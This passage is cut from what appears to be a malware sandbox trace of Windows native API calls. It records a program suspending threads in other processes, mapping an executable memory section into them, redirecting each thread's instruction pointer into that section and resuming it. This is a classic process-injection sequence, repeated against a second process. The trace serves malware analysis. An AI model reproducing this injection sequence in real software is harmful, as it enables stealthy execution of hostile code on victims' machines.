ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0412.227] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0412.241] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x208, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2530000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0412.293] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x5afde8, Ebx=0x7b4000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x5afd90, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0x5afd78, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0412.294] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x210) returned 0x0 [0412.294] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x178a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5580000, SectionOffset=0x0, ViewSize=0x6be574*=0x179000) returned 0x0 [0412.302] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0x208, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x178a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x2f00000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x179000) returned 0x0 [0412.330] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5580000) returned 0x0 [0412.395] NtClose (Handle=0x210) returned 0x0 [0412.395] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x5afde8, Ebx=0x7b4000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x5afd90, Eip=0x2fe6927, SegCs=0x23, EFlags=0x206, Esp=0x5afd78, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0412.395] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0412.395] NtClose (Handle=0x208) returned 0x0 [0412.395] NtClose (Handle=0x20c) returned 0x0 [0412.397] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xdfc, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0412.397] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0412.397] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0412.398] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x969000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0412.398] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0417.400] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xe00) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0417.400] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0417.400] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x29a0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0417.404] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xbbfca8, Ebx=0x969000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xbbfc50, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0xbbfc38, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, 